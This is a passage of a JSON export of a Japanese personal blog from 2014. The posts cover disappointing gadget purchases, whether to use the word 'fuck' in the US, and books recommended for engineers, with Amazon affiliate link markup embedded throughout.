/\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B003CYHRI4\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n粗面用とあるんですが、実際には滑らかな面にしかほぼくっつかない。滑らかな面にくっつけた場合は粘着力が強力すぎてとれなくなる。\r\n\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/B00GEAH1Q6/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B00GEAH1Q6\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003e[EneMax] Magnetic Charging マグネット充電ケーブル - Xperia Z1 SO-01F SOL23 / Xperia Z1 f SO-02F / Xperia Z Ultra SOL24 対応\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00GEAH1Q6\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00GEAH1Q6\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n非常にとれやすくこれで充電することはほぼ不可能。低評価をきちんと信じるべきだった。\r\n\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/4883613275/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=4883613275\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003e戦闘の科学:軍事ORの理論―捜索理論,射爆理論,交戦理論\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=4883613275\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4883613275\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n非常に具体的に艦砲射撃や潜水艦捜索、交戦における戦果判定の方法が書かれている本。それらを効率よく行う数理モデルを学ぶことができる。しかしながらこれ「戦闘の科学」ではなくて「海軍戦闘の科学」の本ではなかろうかという感じだし、また戦闘において本来もっとも重要な技術のはずの物流網の構築維持についての解説がない。\r\n\r\n無論海軍においては戦闘艦というのは単艦であっても独立した高い戦闘能力をもつ戦略単位であり、艦隊ともなれば複雑な作戦を長期間行うことが出来る。なので特定方面の戦闘のみを考えるとき補給はあまり重視されない。\r\n\r\nしかしながら先の大戦において我が国の海軍は実際に南方航路という補給網の維持に大失敗した経験があるにも関わらずこのような書籍でその方面が全く考慮されていないことに強い不満を抱くし、その方面の内容を期待していたので、期待外れでもあった。\r\n\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/B006LLQLD2/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B006LLQLD2\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003e自転車工具セット 六角レンチ 多機能 携帯\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B006LLQLD2\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B006LLQLD2\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nこれを持ち歩くよりも、モンキーレンチ、六角レンチ各種合計 3 本を持ち歩くほうがずっと便利だし工具が消費する格納スペースも大して変わらない。\r\n\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/B00H7Z7XA6/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B00H7Z7XA6\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eAMD A-series AMD A10 7700K Black Edition AD770KXBJABOX\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00H7Z7XA6\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00H7Z7XA6\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nKaveri のしょぼいやつ。 Titanfall をプレイするために購入したもので、その目的においては全く満足している。 Titanfall はグラフィック面があまり重視されていないゲームなのでこれでも Full HD でがしがし動く。\r\n\r\nしかしながら AMD のドライバはあまりにも不安定で、アップデートのたびにだいたいなんかトラブルが起こる。 2 個バグが直る間 3 個のものが壊れる感じ。\r\n\r\nグラボに別途 GeForce 750 GTX Ti を足したらかなり幸せになった。\r\n\r\nただこの CPU + 750 GTX Ti という構成は価格面でも性能面でもかなりよいものなので「微妙」と言ってしまうとアレかもしれないが、 GPU としての使い勝手が非常に悪すぎるので、やっぱり微妙枠。\r\n\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/B00HQOTDHO/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B00HQOTDHO\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003ePERSONA3 the Weird Masquerade ~青の覚醒~ [DVD]\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00HQOTDHO\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00HQOTDHO\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nこれ現場にも行ったんですが、やはり失礼ながら阿澄佳奈の殺陣が全くだめ。 DVD でゆっくりみるとダメさが目立つ。\r\n\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/B003NSAMW2/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B003NSAMW2\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eBUFFALO 無線LAN子機 コンパクトモデル 11n技術・11g/b対応 WLI-UC-GNM\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B003NSAMW2\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B003NSAMW2\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n速度遅いだろうなあと思って買ったけど想像よりもさらにずっと遅かった。\r\n\r\n### まとめ\r\n様々な分野の微妙なものを今年も購入して参りました。買ってみて微妙だったなというものを振り返ってみてもなかなかこれといった傾向は掴めないところです。来年以降もまた微妙なものを購入することになるのだと思います。\r\n\r\nところで今年もまだ 20 日以上ありますからまだまだどんどん訳の分からないものを買ってい行きたいと思います。","created_at":"2014-12-09T03:15:41.000Z","updated_at":"2014-12-09T03:15:41.000Z"},{"id":2772,"name":"text/アメリカでfuckて言っていいのか問題","body":"%blog% アメリカで fuck て言っていいのか問題\r\n\r\nここがテキサス州ダラスだとしましょう。あなたはテキサス州オースティンの Dropbox 社で働く IT エンジニアなどでは**無い**としましょう。あなたの友達がアジア人ばかりではないとしましょう。\r\n\r\nあなたは凄い!!!というような意味の形容詞で fuck っていう言葉を使いますし、まわりの人が fuck って言ってても大して気にしません。\r\n\r\nここがフロリダ州ジャクソンビルだとしてもテネシー州ナッシュビルだとしても、まあそんなもんでしょう。\r\n\r\nあなたがサンフランシスコで働く IT エンジニアだとします。あなたがマンハッタン南部でかっこいいデリで昼飯くったりしてるサラリーマンだとします。あるいはアメリカに行った観光客だとします。 fuck って口にしまくってたらまあキチガイだと思われるでしょう。\r\n\r\nこれを読んでるみなさんは標準的な日本人です。あなたがアメリカに行って南部にいって年収 3 万ドルの人たちといろいろやる機会はたぶんないと思います。なので fuck とは**絶対に**言ってはいけないと覚えておくのがよいでしょう。\r\n\r\nしかしながら南部のレッドネックだとかと話すとき彼らはその手の言葉をよく使ってきますが、別に彼らが頭おかしいというわけでもないことは覚えておくとよいと思います。\r\n\r\n著者は黒人コミュニティやメキシコ人コミュニティにはあまり詳しくないからよく知らない。気になる人は自分で調べてください。 Comprende?","created_at":"2014-12-09T15:23:01.000Z","updated_at":"2014-12-09T15:23:01.000Z"},{"id":2773,"name":"text/アメリカでfuckて言っていいのか問題","body":"%blog% アメリカで fuck て言っていいのか問題\r\n\r\nここがテキサス州ダラスだとしましょう。あなたはテキサス州オースティンの Dropbox 社で働く IT エンジニアなどでは**無い**としましょう。あなたの友達がアジア人ばかりではないとしましょう。\r\n\r\nあなたは凄い!!!というような意味の形容詞で fuck っていう言葉を使いますし、まわりの人が fuck って言ってても大して気にしません。\r\n\r\nここがフロリダ州ジャクソンビルだとしてもテネシー州ナッシュビルだとしても、まあそんなもんでしょう。\r\n\r\nあなたがサンフランシスコで働く IT エンジニアだとします。あなたがマンハッタン南部でかっこいいデリで昼飯くったりしてるサラリーマンだとします。あるいはアメリカに行った観光客だとします。 fuck って口にしまくってたらまあキチガイだと思われるでしょう。\r\n\r\nこれを読んでるみなさんは標準的な日本人です。あなたがアメリカに行って南部にいって年収 3 万ドルの人たちといろいろやる機会はたぶんないと思います。なので fuck とは**絶対に**言ってはいけないと覚えておくのがよいでしょう。\r\n\r\nしかしながら南部のレッドネックだとかと話すとき彼らはその手の言葉をよく使ってきますが、別に彼らが頭おかしいというわけでもないことは覚えておくとよいと思います。\r\n\r\n筆者は黒人コミュニティやメキシコ人コミュニティにはあまり詳しくないからよく知らない。気になる人は自分で調べてください。 Comprende?","created_at":"2014-12-09T15:26:52.000Z","updated_at":"2014-12-09T15:26:52.000Z"},{"id":2774,"name":"text/エンジニアならこれ読んどいた方がいいみたいな本","body":"%blog%\r\n\r\n## \u003ca href=\"http://www.amazon.co.jp/gp/product/4816341870/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=4816341870\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003e失敗学 (図解雑学)\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=4816341870\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4816341870\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n賢者は歴史に学び、愚者は経験に学ぶという。その仮定が正しい場合、人類の知能はそこまで広く分布しているわけではないので人類はだいたいみんな歴史からは学べないということになる。\r\n\r\n正直自分の実感としても他人の失敗事例から学べたということは少なく、人は自分の失敗から学ぶしかないのではないかと思う。ただまあ他の技術者が事故にどのように対処したかとか、対処に失敗したかとか、歴史から学べた稀有な事例は何かといったことを読むのは楽しい。\r\n\r\n## \u003ca href=\"http://www.amazon.co.jp/gp/product/439631390X/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=439631390X\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003e爆笑問題のハインリッヒの法則―世の中すべて300対29対1の法則で動いている (祥伝社黄金文庫)\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=439631390X\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=439631390X\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nハインリッヒの事故防止の研究とは何の関係もないけど、爆笑問題カーボーイが一番面白かったころの本。今読んでも面白い。\r\n\r\n## \u003ca href=\"http://www.amazon.co.jp/gp/product/490262575X/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=490262575X\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eWeb業界 受注契約の教科書 Textbook for Business Contracts in the Web Industry\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=490262575X\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=490262575X\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n僕が属する IT エンジニアリングの世界では\"エンジニア\"の職務範囲はあんまり従来エンジニアリングの範囲に属していなかった部分にも広がっていく傾向があるように思う。現代社会の科学技術への依存が深まる以上他の方面のエンジニアでも事情はある程度似ているのではないか。知らんけど。\r\n\r\nIT エンジニアリングの世界では契約の適当さから揉める事案が多く、[数十億円規模の損害賠償が裁判で争われるケース](http://it.impressbm.co.jp/articles/-/10533)などもある。ただまあ契約が適当で揉めるケースはどんなところでも聞くし、技術者がその方面の実務にかかわるケースもあるだろうし、この種の契約失敗事例と対策については読んでおくのがよいのではないか。\r\n\r\n## \u003ca href=\"http://www.amazon.co.jp/gp/product/4767814553/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=4767814553\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003e建設業者\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=4767814553\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4767814553\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n建設業界の経営層やマネジメント層のエンジニアへのインタビュー集。プロジェクトマネジメントの欠如が現場の努力で賄われるという構造は建設業界でもふつうにあるんだなあということが伺われる本。\r\n\r\n** 業界のマネジメントはドカタよりも酷い!!などと訳の分からない自虐をする者がよくいるが、その建設業界も大して事情は変わらんようなので訳の分からない自虐はとりあえずやめましょう。\r\n\r\nこのような紹介の仕方になり土木建築にかかわる皆様にはまあ失礼極まりない感じになってしまいましたが、上のような観点以外から読んでも純粋に面白い本です。\r\n\r\n## \u003ca href=\"http://www.amazon.co.jp/gp/product/4061591274/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=4061591274\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eガリア戦記 (講談社学術文庫)\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=4061591274\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4061591274\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4061592343\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n現代において軍隊とはエンジニアの集団だとはよく言われることだけど、そのエンジニアの集団たる軍隊のパイオニアといえばやはりローマ帝国の軍隊なのではないか。\r\n\r\nカエサルのガリア戦記と内乱記は技術者の視点からとらえた歴史という価値を持っていると言える。そもそも圧倒的に技術水準が違う集団同士の戦争というのは、戦争にすらならないので発生しえない。\r\n\r\nしかしながらカエサルの対ガリア侵略は、カエサルの国内政治上の私的野心によって発生したものであるから、圧倒的に技術力があるローマが政治的理由により極めて限定された兵力で、大兵力の未開民族を攻撃するという変則的なものとなったため戦争らしい戦争になった。\r\n\r\n結果として、技術力というものの力をもっとも分かりやすく説明してくれる状況が現出している。ガリアでの技術者と未開民族の戦争、そしてローマ内戦における技術者同士の戦争を比較した時、技術の力がはっきりと見えてくる。\r\n\r\n## \u003ca href=\"http://www.amazon.co.jp/gp/product/B00LQ5K0XK/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B00LQ5K0XK\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eワイド版世界の大思想 第2期〈12〉ウェーバー\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00LQ5K0XK\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00LQ5K0XK\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nいわゆる大企業病などと呼ばれる症状は、この全集にふくまれる支配の社会学がすべてを説明している。じゃあどうすべきかみたいな話はヨーゼフ・シュンペーターが説くところだけれども、ウェーバーが支配の諸類型などで示したところとあわせて考えると官僚化した組織は結局のところカリスマが出てこなければどうにもならないことが示唆される。\r\n\r\nいずれにせよ我々が考えるような組織の問題は 19 世紀末から 20 世紀初頭に既にほとんどが問題提起されており、そしてほとんどろくに解決を見ていないことがこうした古典からうかがわれる。一エンジニアが官僚化した組織に対してできることなど、逃げることぐらいなのではないか。\r\n\r\nそれにしてもこの分量のウェーバーの本をとても安価に読めるようになって、いい時代になった。\r\n\r\n## \u003ca href=\"http://www.amazon.co.jp/gp/product/4150305692/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=4150305692\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003e終わりなき索敵 [航空宇宙軍史] (ハヤカワ文庫JA 569)\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=4150305692\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4150305692\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4150305706\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nプロジェクトマネジメントの失敗例がこれでもかというほど出てくる小説。主人公のロックウッドが所属する航空宇宙軍は、技術力の軽視、スケジュールの甘さ、問題の優先順位の取り違え、無責任な指導体制、情報収集の軽視といったありとあらゆるプロジェクトマネジメントのアンチパターンを踏みまくった挙句に大事故を起こし宇宙人との戦争に敗北してゆく。\r\n\r\n技術者なら誰でも辛い気持ちになれる名作。","created_at":"2014-12-19T09:43:10.000Z","updated_at":"2014-12-19T09:43:10.000Z"},{"id":2775,"name":"text/エンジニアならこれ読んどいた方がいいみたいな本","body":"%blog%\r\n\r\n## \u003ca href=\"http://www.amazon.co.jp/gp/product/4816341870/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=4816341870\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003e失敗学 (図解雑学)\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=4816341870\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4816341870\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n賢者は歴史に学び、愚者は経験に学ぶという。その仮定が正しい場合、人類の知能はそこまで広く分布しているわけではないので人類はだいたいみんな歴史からは学べないということになる。\r\n\r\n正直自分の実感としても他人の失敗事例から学べたということは少なく(歴史から学ばない態度)、人は自分の失敗から学ぶしかないのではないかと思う。ただまあ他の技術者が事故にどのように対処したかとか、対処に失敗したかとか、歴史から学べた稀有な事例は何かといったことを読むのは楽しい。\r\n\r\n## \u003ca href=\"http://www.amazon.co.jp/gp/product/439631390X/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=439631390X\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003e爆笑問題のハインリッヒの法則―世の中すべて300対29対1の法則で動いている (祥伝社黄金文庫)\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=439631390X\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=439631390X\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nハインリッヒの事故防止の研究とは何の関係もないけど、爆笑問題カーボーイが一番面白かったころの本。今読んでも面白い。\r\n\r\n## \u003ca href=\"http://www.amazon.co.jp/gp/product/490262575X/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=490262575X\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eWeb業界 受注契約の教科書 Textbook for Business Contracts in the Web Industry\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=490262575X\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=490262575X\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n僕が属する IT エンジニアリングの世界では\"エンジニア\"の職務範囲はあんまり従来エンジニアリングの範囲に属していなかった部分にも広がっていく傾向があるように思う。現代社会の科学技術への依存が深まる以上他の方面のエンジニアでも事情はある程度似ているのではないか。知らんけど。\r\n\r\nIT エンジニアリングの世界では契約の適当さから揉める事案が多く、[数十億円規模の損害賠償が裁判で争われるケース](http://it.impressbm.co.jp/articles/-/10533)などもある。ただまあ契約が適当で揉めるケースはどんなところでも聞くし、技術者がその方面の実務にかかわるケースもあるだろうし、この種の契約失敗事例と対策については読んでおくのがよいのではないか。\r\n\r\n## \u003ca href=\"http://www.amazon.co.jp/gp/product/4767814553/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=4767814553\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003e建設業者\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=4767814553\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe 